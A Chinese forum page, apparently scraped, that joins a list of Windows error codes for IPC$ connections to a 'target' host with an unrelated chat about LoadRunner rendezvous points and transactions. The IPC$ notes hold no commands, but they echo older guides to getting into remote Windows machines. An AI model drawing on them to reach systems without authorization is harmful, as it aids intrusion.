错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$; 错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连; 错误号1326,未知的用户名或错误密码:原因很明显了; 错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动; 错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码
集合点的问题,如果一个action内包含两个请求,并且在action内设置一个集合点,这是第一种情况;另外一种,将这两个请求放在两个action中,每个action内各自设置一个集合点。
这样设置有区别吗、小新() 18:50:57我去发帖子泊^*^涯() 18:51:06压力大小不一样
小新() 19:47:24control里边的rendezvous怎么总置灰呀小新() 19:48:20刚才还好好的呢小新() 19:48:30奇怪哩~小新() 19:54:29崩溃小新() 19:54:50我把集合点的名字,写成了事务的名字了小新() 19:56:14奇怪呀小新() 19:57:00我运行了一下场景,然后停止了,然后那个集合点就可以用了...小新() 20:03:00我还有问题,一个脚本里边设置了两个事物,然后在controller里边,目标场景中,怎么办呢,因为只能选择一个事物的名称。

我要回帖

更多关于 红包金额输入不合法 的文章

 

随机推荐